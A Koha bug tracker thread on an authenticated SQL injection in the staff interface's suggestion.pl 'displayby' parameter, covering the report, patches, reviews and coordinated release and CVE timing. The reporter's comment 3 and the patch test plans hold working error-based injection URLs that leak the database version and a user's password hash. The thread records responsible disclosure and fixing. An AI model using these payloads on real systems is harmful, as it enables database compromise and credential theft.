Bug 41593 - Authenticated SQL Injection in staff side suggestions
Summary: Authenticated SQL Injection in staff side suggestions
Status: Pushed to oldstable
Alias: None
Product: Koha
Classification: Unclassified
Component: Staff interface (show other bugs)
Version: unspecified
Hardware: All All
: P1 - high critical
Assignee: David Cook
QA Contact: Lisette Scheer
URL:
Keywords:
Depends on:
Blocks:
 
Reported: 2026-01-11 21:19 UTC by shukrulloh70
Modified: 2026-01-30 04:34 UTC (History)
16 users (show)

See Also:
GIT URL:
Initiative type: ---
Sponsorship status: ---
Comma delimited list of Sponsors:
Crowdfunding goal: 0
Patch complexity: ---
Documentation contact:
Documentation submission:
Text to go in the release notes:
Version(s) released in:
26.05.00,25.11.01,25.05.07,24.11.12
Circulation function:


Attachments
Bug 41593: Validate displayby parameter in suggestion.pl (1.79 KB, patch)
2026-01-11 23:42 UTC, David Cook
Details | Diff | Splinter Review
Bug 41593: Validate displayby parameter in suggestion.pl (1.86 KB, patch)
2026-01-12 10:43 UTC, Jonathan Druart
Details | Diff | Splinter Review
Bug 41593: Add a Cypress test (1.09 KB, patch)
2026-01-12 10:43 UTC, Jonathan Druart
Details | Diff | Splinter Review
Bug 41593: Validate displayby parameter in suggestion.pl (1.92 KB, patch)
2026-01-16 16:02 UTC, Lisette Scheer
Details | Diff | Splinter Review
Bug 41593: Add a Cypress test (1.15 KB, patch)
2026-01-16 16:02 UTC, Lisette Scheer
Details | Diff | Splinter Review
Bug 41593: (QA follow-up) Move cypress test (813 bytes, patch)
2026-01-16 16:02 UTC, Lisette Scheer
Details | Diff | Splinter Review
[24.11] Bug 41593: Validate displayby parameter in suggestion.pl (1.92 KB, patch)
2026-01-20 14:49 UTC, Jonathan Druart
Details | Diff | Splinter Review

Note You need to log in before you can comment on or make changes to this bug.
Description shukrulloh70 2026-01-11 21:19:51 UTC
An authenticated SQL Injection vulnerability was identified in the Koha staff interface.

A low-privileged staff user can inject arbitrary SQL queries via a vulnerable request parameter processed by the GetDistinctValues functionality. The injection occurs due to unsafe handling of user-supplied input when constructing SQL queries without sufficient sanitization or strict validation.

Successful exploitation allows an authenticated attacker to fully compromise the backend database.


/cgi-bin/koha/suggestion/suggestion.pl

displayby vulnerebl parameter
Comment 1 David Cook 2026-01-11 22:56:12 UTC
Thanks for reporting the issue. In future, could you make sure to report it as a "Koha Security" bug rather than a "Koha" bug for security reasons? For more details please see https://git.koha-community.org/Koha-community/Koha/src/branch/main/SECURITY.md
Comment 2 David Cook 2026-01-11 22:56:40 UTC
Can you provide some more information about the steps to take to reproduce this bug?

I think that I've found the vulnerability but it would save time if you already have steps/a payload that works.
Comment 3 shukrulloh70 2026-01-11 23:04:44 UTC
yes , I can provide  payloads for execute  also I have video POC if it needs 

/cgi-bin/koha/suggestion/suggestion.pl?op=else&displayby=status+AND+EXTRACTVALUE(1,CONCAT(0x7e,@@version))

result will be ~10.11.15-MariaDB-ubu2204  

it's error based SQLI 



 /cgi-bin/koha/suggestion/suggestion.pl?op=else&displayby=status+AND+EXTRACTVALUE(1,CONCAT(0x7e,(SELECT+SUBSTRING(p    assword,1,30)+FROM+borrowers+WHERE+userid='koha')))

it will give  password hash for  user koha between 1,30 

 /cgi-bin/koha/suggestion/suggestion.pl?op=else&displayby=status+AND+EXTRACTVALUE(1,CONCAT(0x7e,(SELECT+SUBSTRING(p
assword,31,30)+FROM+borrowers+WHERE+userid='koha')))



file  C4/Search.pm 2308-2314

my $sth = $dbh->prepare(
"select DISTINCT($column) as value, count(*) as cnt from $table "
. ( $string ? " where $column like \"$string%\"" : "" )
. "group by value order by $column "
);




GET /cgi-bin/koha/suggestion/suggestion.pl?op=else&displayby=status+AND+EXTRACTVALUE(1,CONCAT(0x7e,database()))

we can full dump db
Comment 4 shukrulloh70 2026-01-11 23:05:04 UTC
and can I request CVE ?
Comment 5 David Cook 2026-01-11 23:11:18 UTC
(In reply to shukrulloh70 from comment #4)
> and can I request CVE ?

Thanks for providing that payload information. 

We'd prefer if you waited until after we fixed the bug and released it to the supported versions.
Comment 6 shukrulloh70 2026-01-11 23:13:40 UTC
okey, approximately how long will it take
Comment 7 David Cook 2026-01-11 23:20:58 UTC
(In reply to shukrulloh70 from comment #6)
> okey, approximately how long will it take

I'm planning to look at this immediately, so I should have a fix available shortly. I would expect that fix to be tested and approved fairly quickly, and then released in a couple of weeks (ie end of the month).
Comment 8 shukrulloh70 2026-01-11 23:28:08 UTC
So let me request a CVE request then. I think it will also be relevant when the bug is fixed. ))
Comment 9 David Cook 2026-01-11 23:30:09 UTC
As noted above, the SQL generates 500 errors on the staff interface, so it wouldn't be easy for a user to leak information. 

But they a couple of things do come to mind. They could use time-based attacks to figure things like passwords out. Or they could do a DOS attack.
Comment 10 David Cook 2026-01-11 23:30:50 UTC
(In reply to shukrulloh70 from comment #8)
> So let me request a CVE request then. I think it will also be relevant when
> the bug is fixed. ))

We prefer that the CVE is requested after the fix is distributed, so that people can immediately apply the fix when they learn about the vulnerability.
Comment 11 shukrulloh70 2026-01-11 23:34:10 UTC
Okay, good luck fixing the vulnerability.
Comment 12 shukrulloh70 2026-01-11 23:40:35 UTC
(In reply to David Cook from comment #9)
> As noted above, the SQL generates 500 errors on the staff interface, so it
> wouldn't be easy for a user to leak information. 
> 
> But they a couple of things do come to mind. They could use time-based
> attacks to figure things like passwords out. Or they could do a DOS attack.

attacker able to  get all db information  but its hard to  exploit  and need long time,  I provide  payload which  demonstrate  leak user password hash
Comment 13 David Cook 2026-01-11 23:42:35 UTC
Created attachment 191239 [details] [review]
Bug 41593: Validate displayby parameter in suggestion.pl

This change validates the displayby parameter in suggestion.pl
in order to prevent SQL injection.

Test plan:
0. Do not apply the patch
1. Log into the staff interface
2. Visit the path /cgi-bin/koha/suggestion/suggestion.pl?
op=else&displayby=status+AND+EXTRACTVALUE(1,CONCAT(0x7e,@@version))
3. Notice a 500 error is generated
4. In the error logs, the MySQL version number will appear

5. Apply the patch
6. koha-plack --restart kohadev

7. Visit the path /cgi-bin/koha/suggestion/suggestion.pl?
op=else&displayby=status+AND+EXTRACTVALUE(1,CONCAT(0x7e,@@version))
8. Notice that no error is generated
9. Try each of the "Organize by" options on the left nav bar
10. Note that none of them generate an error and that the option is
retained after clicking "Go"
Comment 14 David Cook 2026-01-11 23:43:29 UTC
(In reply to shukrulloh70 from comment #12)
> (In reply to David Cook from comment #9)
> > As noted above, the SQL generates 500 errors on the staff interface, so it
> > wouldn't be easy for a user to leak information. 
> > 
> > But they a couple of things do come to mind. They could use time-based
> > attacks to figure things like passwords out. Or they could do a DOS attack.
> 
> attacker able to  get all db information  but its hard to  exploit  and need
> long time,  I provide  payload which  demonstrate  leak user password hash

I saw that your payload could leak the user password hash in the error logs but not in the user interface.
Comment 15 shukrulloh70 2026-01-11 23:53:08 UTC
Although exploitation is non-trivial due to 500 errors, this is still a valid SQL injection vulnerability.

The issue allows error-based and time-based SQL injection, which can be used to extract sensitive information (including password hashes)
Comment 16 David Cook 2026-01-12 00:39:42 UTC
(In reply to shukrulloh70 from comment #15)
> Although exploitation is non-trivial due to 500 errors, this is still a
> valid SQL injection vulnerability.
> 
> The issue allows error-based and time-based SQL injection, which can be used
> to extract sensitive information (including password hashes)

Yep, certainly a valid SQL injection vulnerability.

More developers will come online in about 5-6 hours, so hopefully we'll get some progress then.
Comment 17 shukrulloh70 2026-01-12 00:43:47 UTC
okey  ;)
Comment 18 Jonathan Druart 2026-01-12 10:43:56 UTC
Created attachment 191249 [details] [review]
Bug 41593: Validate displayby parameter in suggestion.pl

This change validates the displayby parameter in suggestion.pl
in order to prevent SQL injection.

Test plan:
0. Do not apply the patch
1. Log into the staff interface
2. Visit the path /cgi-bin/koha/suggestion/suggestion.pl?
op=else&displayby=status+AND+EXTRACTVALUE(1,CONCAT(0x7e,@@version))
3. Notice a 500 error is generated
4. In the error logs, the MySQL version number will appear

5. Apply the patch
6. koha-plack --restart kohadev

7. Visit the path /cgi-bin/koha/suggestion/suggestion.pl?
op=else&displayby=status+AND+EXTRACTVALUE(1,CONCAT(0x7e,@@version))
8. Notice that no error is generated
9. Try each of the "Organize by" options on the left nav bar
10. Note that none of them generate an error and that the option is
retained after clicking "Go"

Signed-off-by: Jonathan Druart <jonathan.druart@bugs.koha-community.org>
Comment 19 Jonathan Druart 2026-01-12 10:43:58 UTC
Created attachment 191250 [details] [review]
Bug 41593: Add a Cypress test

Signed-off-by: Jonathan Druart <jonathan.druart@bugs.koha-community.org>
Comment 20 shukrulloh70 2026-01-13 19:10:11 UTC
hello any updates ?
Comment 21 David Cook 2026-01-13 22:05:19 UTC
(In reply to shukrulloh70 from comment #20)
> hello any updates ?

With Koha patches there are a few rounds of reviews. This has passed the first round of reviews. We're waiting on a second round of reviews, and then the release manager/release maintainers will pick it up for their next releases. 

Thanks for your patience.
Comment 22 Lisette Scheer 2026-01-16 16:02:23 UTC
Created attachment 191576 [details] [review]
Bug 41593: Validate displayby parameter in suggestion.pl

This change validates the displayby parameter in suggestion.pl
in order to prevent SQL injection.

Test plan:
0. Do not apply the patch
1. Log into the staff interface
2. Visit the path /cgi-bin/koha/suggestion/suggestion.pl?
op=else&displayby=status+AND+EXTRACTVALUE(1,CONCAT(0x7e,@@version))
3. Notice a 500 error is generated
4. In the error logs, the MySQL version number will appear

5. Apply the patch
6. koha-plack --restart kohadev

7. Visit the path /cgi-bin/koha/suggestion/suggestion.pl?
op=else&displayby=status+AND+EXTRACTVALUE(1,CONCAT(0x7e,@@version))
8. Notice that no error is generated
9. Try each of the "Organize by" options on the left nav bar
10. Note that none of them generate an error and that the option is
retained after clicking "Go"

Signed-off-by: Jonathan Druart <jonathan.druart@bugs.koha-community.org>
Signed-off-by: Lisette Scheer <lisette@bywatersolutions.com>
Comment 23 Lisette Scheer 2026-01-16 16:02:26 UTC
Created attachment 191577 [details] [review]
Bug 41593: Add a Cypress test

Signed-off-by: Jonathan Druart <jonathan.druart@bugs.koha-community.org>
Signed-off-by: Lisette Scheer <lisette@bywatersolutions.com>
Comment 24 Lisette Scheer 2026-01-16 16:02:28 UTC
Created attachment 191578 [details] [review]
Bug 41593: (QA follow-up) Move cypress test

This patch moves the cypress test into the Acqusitions folder to help keep t/cypress/integration organized as we add more tests.
Comment 25 shukrulloh70 2026-01-18 11:25:05 UTC
hello can I request CVE ?
Comment 26 David Cook 2026-01-18 22:12:30 UTC
(In reply to shukrulloh70 from comment #25)
> hello can I request CVE ?

We'd appreciate it if you could wait just a bit more. The patches have passed the review phases, and now they just need to be included in security releases, which I expect would be next week. 

Once again we appreciate your patience here.
Comment 27 Lucas Gass (lukeg) 2026-01-20 14:15:10 UTC
This doesn't apply cleanly to 24.11.x branches and below. We'll need patches for all supported versions.
Comment 28 Jonathan Druart 2026-01-20 14:49:23 UTC
Created attachment 191696 [details] [review]
[24.11] Bug 41593: Validate displayby parameter in suggestion.pl

This change validates the displayby parameter in suggestion.pl
in order to prevent SQL injection.

Test plan:
0. Do not apply the patch
1. Log into the staff interface
2. Visit the path /cgi-bin/koha/suggestion/suggestion.pl?
op=else&displayby=status+AND+EXTRACTVALUE(1,CONCAT(0x7e,@@version))
3. Notice a 500 error is generated
4. In the error logs, the MySQL version number will appear

5. Apply the patch
6. koha-plack --restart kohadev

7. Visit the path /cgi-bin/koha/suggestion/suggestion.pl?
op=else&displayby=status+AND+EXTRACTVALUE(1,CONCAT(0x7e,@@version))
8. Notice that no error is generated
9. Try each of the "Organize by" options on the left nav bar
10. Note that none of them generate an error and that the option is
retained after clicking "Go"

Signed-off-by: Jonathan Druart <jonathan.druart@bugs.koha-community.org>
Signed-off-by: Lisette Scheer <lisette@bywatersolutions.com>
Comment 29 Jonathan Druart 2026-01-20 14:51:08 UTC
(In reply to Jonathan Druart from comment #28)
> Created attachment 191696 [details] [review] [review]
> [24.11] Bug 41593: Validate displayby parameter in suggestion.pl
> 
> This change validates the displayby parameter in suggestion.pl
> in order to prevent SQL injection.
> 
> Test plan:
> 0. Do not apply the patch
> 1. Log into the staff interface
> 2. Visit the path /cgi-bin/koha/suggestion/suggestion.pl?
> op=else&displayby=status+AND+EXTRACTVALUE(1,CONCAT(0x7e,@@version))
> 3. Notice a 500 error is generated
> 4. In the error logs, the MySQL version number will appear
> 
> 5. Apply the patch
> 6. koha-plack --restart kohadev
> 
> 7. Visit the path /cgi-bin/koha/suggestion/suggestion.pl?
> op=else&displayby=status+AND+EXTRACTVALUE(1,CONCAT(0x7e,@@version))
> 8. Notice that no error is generated
> 9. Try each of the "Organize by" options on the left nav bar
> 10. Note that none of them generate an error and that the option is
> retained after clicking "Go"
> 
> Signed-off-by: Jonathan Druart <jonathan.druart@bugs.koha-community.org>
> Signed-off-by: Lisette Scheer <lisette@bywatersolutions.com>

Also apply to 22.11. I couldn't test the cypress test however.
Comment 30 shukrulloh70 2026-01-21 12:19:58 UTC
so any changes ?? ))
Comment 31 David Cook 2026-01-21 22:09:30 UTC
(In reply to shukrulloh70 from comment #30)
> so any changes ?? ))

I think that it's being released on Monday but I'm not 100% sure yet. Thanks again for your patience.
Comment 32 Jonathan Druart 2026-01-22 13:16:40 UTC
Next minor releases are planned for next Monday (Jan 26)
Comment 33 Wainui Witika-Park 2026-01-22 23:19:14 UTC
(In reply to Jonathan Druart from comment #29)
> (In reply to Jonathan Druart from comment #28)
> > Created attachment 191696 [details] [review] [review] [review]
> > [24.11] Bug 41593: Validate displayby parameter in suggestion.pl
> > 
> > This change validates the displayby parameter in suggestion.pl
> > in order to prevent SQL injection.
> > 
> > Test plan:
> > 0. Do not apply the patch
> > 1. Log into the staff interface
> > 2. Visit the path /cgi-bin/koha/suggestion/suggestion.pl?
> > op=else&displayby=status+AND+EXTRACTVALUE(1,CONCAT(0x7e,@@version))
> > 3. Notice a 500 error is generated
> > 4. In the error logs, the MySQL version number will appear
> > 
> > 5. Apply the patch
> > 6. koha-plack --restart kohadev
> > 
> > 7. Visit the path /cgi-bin/koha/suggestion/suggestion.pl?
> > op=else&displayby=status+AND+EXTRACTVALUE(1,CONCAT(0x7e,@@version))
> > 8. Notice that no error is generated
> > 9. Try each of the "Organize by" options on the left nav bar
> > 10. Note that none of them generate an error and that the option is
> > retained after clicking "Go"
> > 
> > Signed-off-by: Jonathan Druart <jonathan.druart@bugs.koha-community.org>
> > Signed-off-by: Lisette Scheer <lisette@bywatersolutions.com>
> 
> Also apply to 22.11. I couldn't test the cypress test however.

Applied to 22.11.x-security for 22.11.34

I couldn't test the cypress test either so I didn't apply the 2 cypress test commits
Comment 34 shukrulloh70 2026-01-26 10:23:44 UTC
(In reply to Jonathan Druart from comment #32)
> Next minor releases are planned for next Monday (Jan 26)

hello any updates for  new release? because I need report for my job CVE if it possible could you do it today please
Comment 35 Lucas Gass (lukeg) 2026-01-26 16:43:31 UTC
(In reply to shukrulloh70 from comment #34)
> (In reply to Jonathan Druart from comment #32)
> > Next minor releases are planned for next Monday (Jan 26)
> 
> hello any updates for  new release? because I need report for my job CVE if
> it possible could you do it today please

You will know when this bug report is made public and the release maintainers will add the "Version released in:" field for the respective versions. Until then it would be considered very poor practice to disclose this via CVE. 

The community is diligently working on a fix here. In the meantime, please exercise some patience.
Comment 36 shukrulloh70 2026-01-29 20:19:06 UTC
(In reply to Jonathan Druart from comment #32)
> Next minor releases are planned for next Monday (Jan 26)
Comment 37 Lucas Gass (lukeg) 2026-01-29 20:29:28 UTC
(In reply to shukrulloh70 from comment #36)
> (In reply to Jonathan Druart from comment #32)
> > Next minor releases are planned for next Monday (Jan 26)

Releases have been delayed. We will let you know once they are out and this report is made public.
Comment 38 Lucas Gass (lukeg) 2026-01-29 22:13:46 UTC
Pushed to main for 26.05.00

Pushed to 25.11 for 25.11.01 

Pushed to 24.11 for 24.11.12 


Great work everyone!
Comment 39 Lucas Gass (lukeg) 2026-01-29 22:16:49 UTC
(In reply to shukrulloh70 from comment #34)
> (In reply to Jonathan Druart from comment #32)
> > Next minor releases are planned for next Monday (Jan 26)
> 
> hello any updates for  new release? because I need report for my job CVE if
> it possible could you do it today please

This is now public. There is a very good blog post from the author of this patch set, I encourage you to read it and take some of David's advice:

https://koha-community.gitlab.io/KohaAdvent/2025-12-09-security-all/
Comment 40 Lucas Gass (lukeg) 2026-01-29 22:24:02 UTC
Also pushed to 25.05.07!
Comment 41 shukrulloh70 2026-01-30 03:08:00 UTC
could you give some information how I should report cve please
Comment 42 David Cook 2026-01-30 04:34:45 UTC
(In reply to shukrulloh70 from comment #41)
> could you give some information how I should report cve please

When you're submitting your request, I think you should include the URL to this bug report, and it would be useful in the report to say that the bug is fixed in versions  26.05.00, 25.11.01, 25.05.07, and 24.11.12